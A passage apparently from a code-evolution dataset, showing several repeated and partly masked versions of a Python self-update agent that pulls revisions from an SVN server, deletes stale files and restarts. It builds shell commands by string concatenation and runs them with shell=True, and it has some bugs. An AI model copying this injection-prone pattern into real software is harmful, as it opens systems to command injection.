'revision_comment': ''}\n localLog.debug('Attempting to retrieve info from server... ' +\n guaSWServerURI)\n pCmd = 'svn proplist -v -R --revprop -r ' + rev\n pCmd += ' ' + guaSWServerURI\n localLog.debug(pCmd)\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n outputList = output.splitlines()[1:]\n outputList = [elem.strip() for elem in outputList]\n revStr = output.splitlines()[0]\n revStr = revStr.split()[-1]\n moduleReturn['revision'] = revStr[:-1]\n localLog.debug('Revision: ' + revStr[:-1])\n shaStr = outputList[outputList.index('git-commit') + 1]\n moduleReturn['revision_SHA'] = shaStr\n localLog.debug('Revision SHA: ' + shaStr)\n authorStr = outputList[outputList.index('svn:author') + 1]\n moduleReturn['revision_author'] = authorStr\n localLog.debug('Revision author: ' + authorStr)\n dateStr = outputList[outputList.index('svn:date') + 1]\n moduleReturn['revision_date'] = dateStr\n localLog.debug('Revision date: ' + dateStr)\n commentStr = outputList[outputList.index('svn:log') + 1].strip()\n moduleReturn['revision_comment'] = commentStr\n localLog.debug('Revision Comment: ' + commentStr)\n if err is not None:\n localLog.debug('Error message: ' + str(err))\n except Exception as e:\n self.log.error('Oops! Something went wrong - ' + str(e))\n return moduleReturn\n\n def updateSoftware(self, swRev='HEAD'):\n \"\"\"\n Get and updating software from server\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.updateSoftware')\n localLog.debug('Getting software revision ' + str(swRev) +\n ' from server and updating local client...')\n localLog.debug('Constructing target path for new software...')\n targetRoot = self._location\n targetDir = 'gcm'\n targetPath = os.path.join(targetRoot, targetDir)\n localLog.debug('Target path: ' + targetPath)\n localLog.debug('Retrieving relevant parameters from server...')\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n localLog.debug('Parameter: (guaSWSource) ' + guaSWServerURI)\n else:\n self.log.warning('Setting ' + str(guaSWSource) + ' not defined!')\n return\n localLog.debug('Getting software files from server...')\n pCmd = 'svn export --force -r ' + str(swRev)\n pCmd += ' ' + guaSWServerURI\n pCmd += ' ' + targetPath\n localLog.debug(pCmd)\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n if err is not None:\n self.log.warning('Error message: ' + str(err))\n else:\n self.log.info('Download successful!')\n for line in output.splitlines():\n self.log.info(line)\n except Exception as e:\n self.log.error('Oops! Something went wrong - ' + str(e))\n localLog.debug('Reading downloaded revision from \"' + output.\n splitlines()[-1] + '\"...')\n revText = output.splitlines()[-1].split()[-1][:-1]\n localLog.debug('Downloaded Revision: ' + revText)\n self.localRevisionRecord = revText\n localLog.debug('Listing downloaded files...')\n downloadedFiles = []\n for row in output.splitlines()[:-1]:\n file = os.path.join(targetRoot, [t.strip() for t in row.split()][1]\n )\n downloadedFiles.append(file)\n localLog.debug('File: ' + file)\n self.log.debug('Getting all files in local directory (after update)...'\n )\n allFiles = []\n for r, d, f in os.walk(targetPath):\n for file in f:\n allFiles.append(os.path.join(r, file))\n localLog.debug('File: ' + allFiles[-1])\n for dir in d:\n allFiles.append(os.path.join(r, dir))\n localLog.debug('Dir: ' + allFiles[-1])\n self.log.info(\n 'Identifying old files to remove (<new_files> - <all_files>)...')\n diffFiles = list(set(allFiles) - set(downloadedFiles))\n for file in diffFiles:\n self.log.info('Removing: ' + file)\n try:\n if os.path.isfile(file):\n os.unlink(file)\n elif os.path.isdir(file):\n shutil.rmtree(file)\n except Exception as e:\n self.log.warning('Oops! Something went wrong! - ' + str(e))\n self.log.debug('Re-getting all files in local directory...')\n allFiles = []\n for r, d, f in os.walk(targetPath):\n for file in f:\n allFiles.append(os.path.join(r, file))\n self.log.debug('File: ' + os.path.join(r, file))\n for dir in d:\n allFiles.append(os.path.join(r, dir))\n self.log.debug('Dir: ' + os.path.join(r, file))\n\n def run(self):\n \"\"\"\n Run Greger Update Agent.\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.run')\n self.log.info('Starting Greger Update Agent (GUA)...')\n localLog.debug('Wait for Greger Client Module to start...')\n self.ready.wait()\n allThreads = {}\n for thr in enumerate():\n localLog.debug(thr.name + ' ' + thr.__class__.__name__ + ' active!'\n )\n allThreads.update({thr.__class__.__name__: thr})\n if thr.__class__.__name__ == 'GregerClientModule':\n localLog.debug('Greger Client Module thread found! ' +\n allThreads['GregerClientModule'].name)\n loopCount = 0\n while not self.stopExecution.is_set():\n loopCount += 1\n localLog.debug('Checking for updates (' + str(loopCount) + ')...')\n localLog.debug('Getting local revision record...')\n localRevision = self.localRevisionRecord\n localLog.debug('Getting latest software info...')\n softwareInfo = self.getSoftwareInfo()\n self.log.info('Revision check done! (' + str(localRevision) + ')')\n if int(localRevision) == int(softwareInfo['revision']):\n self.log.info('No new revision found.')\n else:\n self.log.info('New revision found!')\n localLog.debug('Attempting to update software...')\n self.updateSoftware()\n localLog.debug(\n 'Attempting to update server with software info...')\n allThreads['GregerDatabase'].update('about', softwareInfo)\n self.log.info(\n 'Attempting to stop all exection before restarting...')\n allThreads['GregerClientModule'].stopAll(GUA=True)\n self.log.info('Attemption to restart application...')\n restart_program()\n if 'guaCheckUpdateDelay' in GregerDatabase.settings:\n delayTime = GregerDatabase.settings['guaCheckUpdateDelay'][\n 'value']\n else:\n delayTime = 10\n self.log.warning('Settings not defined! (using default=10)')\n self.log.info('Waiting ' + str(delayTime) + 's...')\n self.stopExecution.wait(delayTime)\n self.log.info('Greger Update Agent (GUA) execution stopped!')\n", "step-3": "<mask token>\n\n\nclass GregerUpdateAgent(Thread):\n <mask token>\n\n def __init__(self, ready=None):\n \"\"\"\n Initialize the main class\n \"\"\"\n Thread.__init__(self)\n self.ready = ready\n self.logPath = 'root.GUA'\n self.log = logging.getLogger(self.logPath)\n localLog = logging.getLogger(self.logPath + '.__init__')\n localLog.debug('Initiating Greger Update Agent (GUA)...')\n self.stopExecution = Event()\n self._location = os.path.abspath(__file__)\n self._location = self._location[:-15]\n localLog.debug('Local path: ' + self._location)\n localLog.debug('Getting configuration parameters from file...')\n config = getLocalConfig()\n self.localRevisionRecordPath = config.get('greger_update_agent',\n 'local_revision_path')\n localLog.debug('Parameter: (localRevisionRecordPath) ' + self.\n localRevisionRecordPath)\n self.log.info('Greger Update Agent (GUA) successfully initiated!')\n\n @property\n def localRevisionRecord(self):\n \"\"\"\n Get local revision record (.gcm)\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.localRevisionRecord')\n localLog.debug('Getting local revision record...')\n revisionRecordPath = self.localRevisionRecordPath\n localLog.debug('Attemption to get record from file...')\n try:\n with open(revisionRecordPath, 'r') as f:\n localRecord = f.read()\n localLog.debug('Local revision record: ' + str(localRecord))\n except Exception as e:\n self.log.warning('Failed to open file! - ' + str(e))\n self.localRevisionRecord = 0\n localRecord = self.localRevisionRecord\n return localRecord\n\n @localRevisionRecord.setter\n def localRevisionRecord(self, newRevision):\n \"\"\"\n Set local revision record (.gcm)\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.localRevisionRecord')\n localLog.debug('Setting local revision record (.gcm) to ' + str(\n newRevision) + '...')\n revisionRecordPath = self.localRevisionRecordPath\n localLog.debug('Attemption to write \"' + str(newRevision) +\n '\" to file...')\n with open(revisionRecordPath, 'w') as f:\n f.write(str(newRevision))\n self.log.info('Local revision record set: ' + str(newRevision))\n\n def getSoftwareInfo(self, rev='HEAD'):\n \"\"\"\n Retrieve information about a revision available on server.\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.getSoftwareInfo')\n localLog.debug('Attempting to retrieve software revision info...')\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n else:\n self.log.warning('Setting ' + str(guaSWSource) + ' not defined!')\n return\n moduleReturn = {'revision': '', 'revision_SHA': '',\n 'revision_author': '', 'revision_date': '', 'revision_comment': ''}\n localLog.debug('Attempting to retrieve info from server... ' +\n guaSWServerURI)\n pCmd = 'svn proplist -v -R --revprop -r ' + rev\n pCmd += ' ' + guaSWServerURI\n localLog.debug(pCmd)\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n outputList = output.splitlines()[1:]\n outputList = [elem.strip() for elem in outputList]\n revStr = output.splitlines()[0]\n revStr = revStr.split()[-1]\n moduleReturn['revision'] = revStr[:-1]\n localLog.debug('Revision: ' + revStr[:-1])\n shaStr = outputList[outputList.index('git-commit') + 1]\n moduleReturn['revision_SHA'] = shaStr\n localLog.debug('Revision SHA: ' + shaStr)\n authorStr = outputList[outputList.index('svn:author') + 1]\n moduleReturn['revision_author'] = authorStr\n localLog.debug('Revision author: ' + authorStr)\n dateStr = outputList[outputList.index('svn:date') + 1]\n moduleReturn['revision_date'] = dateStr\n localLog.debug('Revision date: ' + dateStr)\n commentStr = outputList[outputList.index('svn:log') + 1].strip()\n moduleReturn['revision_comment'] = commentStr\n localLog.debug('Revision Comment: ' + commentStr)\n if err is not None:\n localLog.debug('Error message: ' + str(err))\n except Exception as e:\n self.log.error('Oops! Something went wrong - ' + str(e))\n return moduleReturn\n\n def updateSoftware(self, swRev='HEAD'):\n \"\"\"\n Get and updating software from server\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.updateSoftware')\n localLog.debug('Getting software revision ' + str(swRev) +\n ' from server and updating local client...')\n localLog.debug('Constructing target path for new software...')\n targetRoot = self._location\n targetDir = 'gcm'\n targetPath = os.path.join(targetRoot, targetDir)\n localLog.debug('Target path: ' + targetPath)\n localLog.debug('Retrieving relevant parameters from server...')\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n localLog.debug('Parameter: (guaSWSource) ' + guaSWServerURI)\n else:\n self.log.warning('Setting ' + str(guaSWSource) + ' not defined!')\n return\n localLog.debug('Getting software files from server...')\n pCmd = 'svn export --force -r ' + str(swRev)\n pCmd += ' ' + guaSWServerURI\n pCmd += ' ' + targetPath\n localLog.debug(pCmd)\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n if err is not None:\n self.log.warning('Error message: ' + str(err))\n else:\n self.log.info('Download successful!')\n for line in output.splitlines():\n self.log.info(line)\n except Exception as e:\n self.log.error('Oops! Something went wrong - ' + str(e))\n localLog.debug('Reading downloaded revision from \"' + output.\n splitlines()[-1] + '\"...')\n revText = output.splitlines()[-1].split()[-1][:-1]\n localLog.debug('Downloaded Revision: ' + revText)\n self.localRevisionRecord = revText\n localLog.debug('Listing downloaded files...')\n downloadedFiles = []\n for row in output.splitlines()[:-1]:\n file = os.path.join(targetRoot, [t.strip() for t in row.split()][1]\n )\n downloadedFiles.append(file)\n localLog.debug('File: ' + file)\n self.log.debug('Getting all files in local directory (after update)...'\n )\n allFiles = []\n for r, d, f in os.walk(targetPath):\n for file in f:\n allFiles.append(os.path.join(r, file))\n localLog.debug('File: ' + allFiles[-1])\n for dir in d:\n allFiles.append(os.path.join(r, dir))\n localLog.debug('Dir: ' + allFiles[-1])\n self.log.info(\n 'Identifying old files to remove (<new_files> - <all_files>)...')\n diffFiles = list(set(allFiles) - set(downloadedFiles))\n for file in diffFiles:\n self.log.info('Removing: ' + file)\n try:\n if os.path.isfile(file):\n os.unlink(file)\n elif os.path.isdir(file):\n shutil.rmtree(file)\n except Exception as e:\n self.log.warning('Oops! Something went wrong! - ' + str(e))\n self.log.debug('Re-getting all files in local directory...')\n allFiles = []\n for r, d, f in os.walk(targetPath):\n for file in f:\n allFiles.append(os.path.join(r, file))\n self.log.debug('File: ' + os.path.join(r, file))\n for dir in d:\n allFiles.append(os.path.join(r, dir))\n self.log.debug('Dir: ' + os.path.join(r, file))\n\n def run(self):\n \"\"\"\n Run Greger Update Agent.\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.run')\n self.log.info('Starting Greger Update Agent (GUA)...')\n localLog.debug('Wait for Greger Client Module to start...')\n self.ready.wait()\n allThreads = {}\n for thr in enumerate():\n localLog.debug(thr.name + ' ' + thr.__class__.__name__ + ' active!'\n )\n allThreads.update({thr.__class__.__name__: thr})\n if thr.__class__.__name__ == 'GregerClientModule':\n localLog.debug('Greger Client Module thread found! ' +\n allThreads['GregerClientModule'].name)\n loopCount = 0\n while not self.stopExecution.is_set():\n loopCount += 1\n localLog.debug('Checking for updates (' + str(loopCount) + ')...')\n localLog.debug('Getting local revision record...')\n localRevision = self.localRevisionRecord\n localLog.debug('Getting latest software info...')\n softwareInfo = self.getSoftwareInfo()\n self.log.info('Revision check done! (' + str(localRevision) + ')')\n if int(localRevision) == int(softwareInfo['revision']):\n self.log.info('No new revision found.')\n else:\n self.log.info('New revision found!')\n localLog.debug('Attempting to update software...')\n self.updateSoftware()\n localLog.debug(\n 'Attempting to update server with software info...')\n allThreads['GregerDatabase'].update('about', softwareInfo)\n self.log.info(\n 'Attempting to stop all exection before restarting...')\n allThreads['GregerClientModule'].stopAll(GUA=True)\n self.log.info('Attemption to restart application...')\n restart_program()\n if 'guaCheckUpdateDelay' in GregerDatabase.settings:\n delayTime = GregerDatabase.settings['guaCheckUpdateDelay'][\n 'value']\n else:\n delayTime = 10\n self.log.warning('Settings not defined! (using default=10)')\n self.log.info('Waiting ' + str(delayTime) + 's...')\n self.stopExecution.wait(delayTime)\n self.log.info('Greger Update Agent (GUA) execution stopped!')\n", "step-4": "<mask token>\n\n\nclass GregerUpdateAgent(Thread):\n \"\"\"\n Main class which holds the main sequence of the application.\n \"\"\"\n\n def __init__(self, ready=None):\n \"\"\"\n Initialize the main class\n \"\"\"\n Thread.__init__(self)\n self.ready = ready\n self.logPath = 'root.GUA'\n self.log = logging.getLogger(self.logPath)\n localLog = logging.getLogger(self.logPath + '.__init__')\n localLog.debug('Initiating Greger Update Agent (GUA)...')\n self.stopExecution = Event()\n self._location = os.path.abspath(__file__)\n self._location = self._location[:-15]\n localLog.debug('Local path: ' + self._location)\n localLog.debug('Getting configuration parameters from file...')\n config = getLocalConfig()\n self.localRevisionRecordPath = config.get('greger_update_agent',\n 'local_revision_path')\n localLog.debug('Parameter: (localRevisionRecordPath) ' + self.\n localRevisionRecordPath)\n self.log.info('Greger Update Agent (GUA) successfully initiated!')\n\n @property\n def localRevisionRecord(self):\n \"\"\"\n Get local revision record (.gcm)\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.localRevisionRecord')\n localLog.debug('Getting local revision record...')\n revisionRecordPath = self.localRevisionRecordPath\n localLog.debug('Attemption to get record from file...')\n try:\n with open(revisionRecordPath, 'r') as f:\n localRecord = f.read()\n localLog.debug('Local revision record: ' + str(localRecord))\n except Exception as e:\n self.log.warning('Failed to open file! - ' + str(e))\n self.localRevisionRecord = 0\n localRecord = self.localRevisionRecord\n return localRecord\n\n @localRevisionRecord.setter\n def localRevisionRecord(self, newRevision):\n \"\"\"\n Set local revision record (.gcm)\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.localRevisionRecord')\n localLog.debug('Setting local revision record (.gcm) to ' + str(\n newRevision) + '...')\n revisionRecordPath = self.localRevisionRecordPath\n localLog.debug('Attemption to write \"' + str(newRevision) +\n '\" to file...')\n with open(revisionRecordPath, 'w') as f:\n f.write(str(newRevision))\n self.log.info('Local revision record set: ' + str(newRevision))\n\n def getSoftwareInfo(self, rev='HEAD'):\n \"\"\"\n Retrieve information about a revision available on server.\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.getSoftwareInfo')\n localLog.debug('Attempting to retrieve software revision info...')\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n else:\n self.log.warning('Setting ' + str(guaSWSource) + ' not defined!')\n return\n moduleReturn = {'revision': '', 'revision_SHA': '',\n 'revision_author': '', 'revision_date': '', 'revision_comment': ''}\n localLog.debug('Attempting to retrieve info from server... ' +\n guaSWServerURI)\n pCmd = 'svn proplist -v -R --revprop -r ' + rev\n pCmd += ' ' + guaSWServerURI\n localLog.debug(pCmd)\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n outputList = output.splitlines()[1:]\n outputList = [elem.strip() for elem in outputList]\n revStr = output.splitlines()[0]\n revStr = revStr.split()[-1]\n moduleReturn['revision'] = revStr[:-1]\n localLog.debug('Revision: ' + revStr[:-1])\n shaStr = outputList[outputList.index('git-commit') + 1]\n moduleReturn['revision_SHA'] = shaStr\n localLog.debug('Revision SHA: ' + shaStr)\n authorStr = outputList[outputList.index('svn:author') + 1]\n moduleReturn['revision_author'] = authorStr\n localLog.debug('Revision author: ' + authorStr)\n dateStr = outputList[outputList.index('svn:date') + 1]\n moduleReturn['revision_date'] = dateStr\n localLog.debug('Revision date: ' + dateStr)\n commentStr = outputList[outputList.index('svn:log') + 1].strip()\n moduleReturn['revision_comment'] = commentStr\n localLog.debug('Revision Comment: ' + commentStr)\n if err is not None:\n localLog.debug('Error message: ' + str(err))\n except Exception as e:\n self.log.error('Oops! Something went wrong - ' + str(e))\n return moduleReturn\n\n def updateSoftware(self, swRev='HEAD'):\n \"\"\"\n Get and updating software from server\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.updateSoftware')\n localLog.debug('Getting software revision ' + str(swRev) +\n ' from server and updating local client...')\n localLog.debug('Constructing target path for new software...')\n targetRoot = self._location\n targetDir = 'gcm'\n targetPath = os.path.join(targetRoot, targetDir)\n localLog.debug('Target path: ' + targetPath)\n localLog.debug('Retrieving relevant parameters from server...')\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n localLog.debug('Parameter: (guaSWSource) ' + guaSWServerURI)\n else:\n self.log.warning('Setting ' + str(guaSWSource) + ' not defined!')\n return\n localLog.debug('Getting software files from server...')\n pCmd = 'svn export --force -r ' + str(swRev)\n pCmd += ' ' + guaSWServerURI\n pCmd += ' ' + targetPath\n localLog.debug(pCmd)\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n if err is not None:\n self.log.warning('Error message: ' + str(err))\n else:\n self.log.info('Download successful!')\n for line in output.splitlines():\n self.log.info(line)\n except Exception as e:\n self.log.error('Oops! Something went wrong - ' + str(e))\n localLog.debug('Reading downloaded revision from \"' + output.\n splitlines()[-1] + '\"...')\n revText = output.splitlines()[-1].split()[-1][:-1]\n localLog.debug('Downloaded Revision: ' + revText)\n self.localRevisionRecord = revText\n localLog.debug('Listing downloaded files...')\n downloadedFiles = []\n for row in output.splitlines()[:-1]:\n file = os.path.join(targetRoot, [t.strip() for t in row.split()][1]\n )\n downloadedFiles.append(file)\n localLog.debug('File: ' + file)\n self.log.debug('Getting all files in local directory (after update)...'\n )\n allFiles = []\n for r, d, f in os.walk(targetPath):\n for file in f:\n allFiles.append(os.path.join(r, file))\n localLog.debug('File: ' + allFiles[-1])\n for dir in d:\n allFiles.append(os.path.join(r, dir))\n localLog.debug('Dir: ' + allFiles[-1])\n self.log.info(\n 'Identifying old files to remove (<new_files> - <all_files>)...')\n diffFiles = list(set(allFiles) - set(downloadedFiles))\n for file in diffFiles:\n self.log.info('Removing: ' + file)\n try:\n if os.path.isfile(file):\n os.unlink(file)\n elif os.path.isdir(file):\n shutil.rmtree(file)\n except Exception as e:\n self.log.warning('Oops! Something went wrong! - ' + str(e))\n self.log.debug('Re-getting all files in local directory...')\n allFiles = []\n for r, d, f in os.walk(targetPath):\n for file in f:\n allFiles.append(os.path.join(r, file))\n self.log.debug('File: ' + os.path.join(r, file))\n for dir in d:\n allFiles.append(os.path.join(r, dir))\n self.log.debug('Dir: ' + os.path.join(r, file))\n\n def run(self):\n \"\"\"\n Run Greger Update Agent.\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.run')\n self.log.info('Starting Greger Update Agent (GUA)...')\n localLog.debug('Wait for Greger Client Module to start...')\n self.ready.wait()\n allThreads = {}\n for thr in enumerate():\n localLog.debug(thr.name + ' ' + thr.__class__.__name__ + ' active!'\n )\n allThreads.update({thr.__class__.__name__: thr})\n if thr.__class__.__name__ == 'GregerClientModule':\n localLog.debug('Greger Client Module thread found! ' +\n allThreads['GregerClientModule'].name)\n loopCount = 0\n while not self.stopExecution.is_set():\n loopCount += 1\n localLog.debug('Checking for updates (' + str(loopCount) + ')...')\n localLog.debug('Getting local revision record...')\n localRevision = self.localRevisionRecord\n localLog.debug('Getting latest software info...')\n softwareInfo = self.getSoftwareInfo()\n self.log.info('Revision check done! (' + str(localRevision) + ')')\n if int(localRevision) == int(softwareInfo['revision']):\n self.log.info('No new revision found.')\n else:\n self.log.info('New revision found!')\n localLog.debug('Attempting to update software...')\n self.updateSoftware()\n localLog.debug(\n 'Attempting to update server with software info...')\n allThreads['GregerDatabase'].update('about', softwareInfo)\n self.log.info(\n 'Attempting to stop all exection before restarting...')\n allThreads['GregerClientModule'].stopAll(GUA=True)\n self.log.info('Attemption to restart application...')\n restart_program()\n if 'guaCheckUpdateDelay' in GregerDatabase.settings:\n delayTime = GregerDatabase.settings['guaCheckUpdateDelay'][\n 'value']\n else:\n delayTime = 10\n self.log.warning('Settings not defined! (using default=10)')\n self.log.info('Waiting ' + str(delayTime) + 's...')\n self.stopExecution.wait(delayTime)\n self.log.info('Greger Update Agent (GUA) execution stopped!')\n", "step-5": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nGreger Update Agent (GUA) module for the Greger Client Module\n\"\"\"\n\n__author__ = \"Eric Sandbling\"\n__license__ = 'MIT'\n__status__ = 'Development'\n\n# System modules\nimport os, sys\nimport shutil\nimport logging\nimport subprocess\nfrom threading import Event\nfrom threading import Thread\nfrom threading import enumerate\n\n# Local Modules\nfrom common import getLocalConfig\nfrom common import restart_program\nfrom gdb import GregerDatabase\n# from gcm import GregerClientModule\n\nclass GregerUpdateAgent(Thread):\n \"\"\"\n Main class which holds the main sequence of the application.\n \"\"\"\n\n def __init__(self, ready=None):\n '''\n Initialize the main class\n '''\n Thread.__init__(self)\n self.ready = ready\n\n # Setup logging\n self.logPath = \"root.GUA\"\n self.log = logging.getLogger(self.logPath)\n localLog = logging.getLogger(self.logPath + \".__init__\")\n localLog.debug(\"Initiating Greger Update Agent (GUA)...\")\n\n # Stop execution handler\n self.stopExecution = Event()\n\n # Get local path\n self._location = os.path.abspath(__file__)\n self._location = self._location[:-15] # Trim gcm/__main__.py from path to get at location of application\n localLog.debug(\"Local path: \" + self._location)\n\n # Get Local Configuration Parameters\n localLog.debug(\"Getting configuration parameters from file...\")\n config = getLocalConfig()\n\n # Locally relevant parameters\n self.localRevisionRecordPath = config.get(\"greger_update_agent\", \"local_revision_path\")\n localLog.debug(\"Parameter: (localRevisionRecordPath) \" + self.localRevisionRecordPath)\n\n\n self.log.info(\"Greger Update Agent (GUA) successfully initiated!\")\n\n @property\n def localRevisionRecord(self):\n '''\n Get local revision record (.gcm)\n '''\n # Logging\n localLog = logging.getLogger(self.logPath + \".localRevisionRecord\")\n localLog.debug(\"Getting local revision record...\")\n\n # Local parameters\n # revisionRecordPath = os.path.join(self._location, \".gcm\")\n revisionRecordPath = self.localRevisionRecordPath\n\n localLog.debug(\"Attemption to get record from file...\")\n try:\n with open(revisionRecordPath,\"r\") as f:\n localRecord = f.read()\n localLog.debug(\"Local revision record: \" + str(localRecord))\n except Exception as e:\n self.log.warning(\"Failed to open file! - \" + str(e))\n self.localRevisionRecord = 0\n localRecord = self.localRevisionRecord\n\n return localRecord\n\n @localRevisionRecord.setter\n def localRevisionRecord(self, newRevision):\n '''\n Set local revision record (.gcm)\n '''\n # Logging\n localLog = logging.getLogger(self.logPath + \".localRevisionRecord\")\n localLog.debug(\"Setting local revision record (.gcm) to \" + str(newRevision) + \"...\")\n\n # Local parameters\n # revisionRecordPath = os.path.join(self._location, \".gcm\")\n revisionRecordPath = self.localRevisionRecordPath\n\n localLog.debug(\"Attemption to write \\\"\" + str(newRevision) + \"\\\" to file...\")\n with open(revisionRecordPath,\"w\") as f:\n f.write(str(newRevision))\n self.log.info(\"Local revision record set: \" + str(newRevision))\n\n def getSoftwareInfo(self, rev='HEAD'):\n '''\n Retrieve information about a revision available on server.\n '''\n # Logging\n localLog = logging.getLogger(self.logPath + \".getSoftwareInfo\")\n localLog.debug(\"Attempting to retrieve software revision info...\")\n\n # Locally relevant parameters\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n else:\n self.log.warning(\"Setting \" + str(guaSWSource) + \" not defined!\")\n return\n moduleReturn = {\n 'revision': \"\",\n 'revision_SHA' : \"\",\n 'revision_author' : \"\",\n 'revision_date' : \"\",\n 'revision_comment' : \"\"\n }\n\n # Get server revision info\n localLog.debug(\"Attempting to retrieve info from server... \" + guaSWServerURI)\n pCmd = \"svn proplist -v -R --revprop -r \" + rev\n pCmd += \" \" + guaSWServerURI\n localLog.debug(pCmd)\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n (output, err) = p.communicate()\n\n # Create list of output and remove extra white spaces\n outputList = output.splitlines()[1:]\n outputList = [elem.strip() for elem in outputList]\n\n # Get revision from output\n revStr = output.splitlines()[0]\n revStr = revStr.split()[-1]\n moduleReturn['revision'] = revStr[:-1]\n localLog.debug(\"Revision: \" + revStr[:-1])\n\n # Get SHA\n shaStr = outputList[outputList.index('git-commit')+1]\n moduleReturn['revision_SHA'] = shaStr\n localLog.debug(\"Revision SHA: \" + shaStr)\n\n # Get revision author\n authorStr = outputList[outputList.index('svn:author')+1]\n moduleReturn['revision_author'] = authorStr\n localLog.debug(\"Revision author: \" + authorStr)\n\n # Get revision date\n dateStr = outputList[outputList.index('svn:date')+1]\n moduleReturn['revision_date'] = dateStr\n localLog.debug(\"Revision date: \" + dateStr)\n\n # Get revision comment\n commentStr = outputList[outputList.index('svn:log')+1].strip()\n moduleReturn['revision_comment'] = commentStr\n localLog.debug(\"Revision Comment: \" + commentStr)\n\n if err is not None:\n localLog.debug(\"Error message: \" + str(err))\n\n except Exception as e:\n self.log.error(\"Oops! Something went wrong - \" + str(e))\n\n return moduleReturn\n\n def updateSoftware(self, swRev='HEAD'):\n '''\n Get and updating software from server\n '''\n # Logging\n localLog = logging.getLogger(self.logPath + \".updateSoftware\")\n localLog.debug(\"Getting software revision \" + str(swRev) + \" from server and updating local client...\")\n\n # Locally relevant parameters\n localLog.debug(\"Constructing target path for new software...\")\n targetRoot = self._location\n targetDir = \"gcm\"\n targetPath = os.path.join(targetRoot, targetDir)\n localLog.debug(\"Target path: \" + targetPath)\n localLog.debug(\"Retrieving relevant parameters from server...\")\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n localLog.debug(\"Parameter: (guaSWSource) \" + guaSWServerURI)\n else:\n self.log.warning(\"Setting \" + str(guaSWSource) + \" not defined!\")\n return\n\n # Get software files from server\n localLog.debug(\"Getting software files from server...\")\n\n # Compile download command\n pCmd = \"svn export --force -r \" + str(swRev)\n pCmd += \" \" + guaSWServerURI\n pCmd += \" \" + targetPath\n localLog.debug(pCmd)\n\n # Execute command\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n (output, err) = p.communicate()\n\n if err is not None:\n self.log.warning(\"Error message: \" + str(err))\n else:\n self.log.info(\"Download successful!\")\n # Print output\n for line in output.splitlines():\n self.log.info(line)\n\n except Exception as e:\n self.log.error(\"Oops! Something went wrong - \" + str(e))\n\n # Read revision text\n localLog.debug(\"Reading downloaded revision from \\\"\" + output.splitlines()[-1] + \"\\\"...\")\n revText = output.splitlines()[-1].split()[-1][:-1]\n localLog.debug(\"Downloaded Revision: \" + revText)\n\n # Update local revision record\n self.localRevisionRecord = revText\n\n # Get downloaded files text\n localLog.debug(\"Listing downloaded files...\")\n downloadedFiles = []\n for row in output.splitlines()[:-1]:\n file = os.path.join(targetRoot, [t.strip() for t in row.split()][1])\n downloadedFiles.append(file)\n localLog.debug(\"File: \" + file)\n\n # List files in directory\n self.log.debug(\"Getting all files in local directory (after update)...\")\n allFiles = []\n # r=root, d=directories, f = files\n for r, d, f in os.walk(targetPath):\n for file in f:\n # allFiles.append(os.path.abspath(file))\n allFiles.append(os.path.join(r, file))\n localLog.debug(\"File: \" + allFiles[-1])\n # localLog.debug(\"File: \" + os.path.join(r, file))\n for dir in d:\n # allFiles.append(os.path.abspath(dir))\n allFiles.append(os.path.join(r, dir))\n localLog.debug(\"Dir: \" + allFiles[-1])\n # localLog.debug(\"Dir: \" + os.path.join(r, dir))\n\n self.log.info(\"Identifying old files to remove (<new_files> - <all_files>)...\")\n diffFiles = list(set(allFiles) - set(downloadedFiles))\n for file in diffFiles:\n self.log.info(\"Removing: \" + file)\n try:\n if os.path.isfile(file):\n os.unlink(file)\n elif os.path.isdir(file):\n shutil.rmtree(file)\n except Exception as e:\n self.log.warning(\"Oops! Something went wrong! - \" + str(e))\n\n # List files in directory\n self.log.debug(\"Re-getting all files in local directory...\")\n allFiles = []\n # r=root, d=directories, f = files\n for r, d, f in os.walk(targetPath):\n for file in f:\n allFiles.append(os.path.join(r, file))\n self.log.debug(\"File: \" + os.path.join(r, file))\n for dir in d:\n allFiles.append(os.path.join(r, dir))\n self.log.debug(\"Dir: \" + os.path.join(r, file))\n\n def run(self):\n '''\n Run Greger Update Agent.\n '''\n # Logging\n localLog = logging.getLogger(self.logPath + \".run\")\n self.log.info(\"Starting Greger Update Agent (GUA)...\")\n\n # Wait for Greger Client Module to start...\n localLog.debug(\"Wait for Greger Client Module to start...\")\n self.ready.wait()\n\n # Get all active threads!\n allThreads = {}\n for thr in enumerate():\n localLog.debug(thr.name + \" \" + 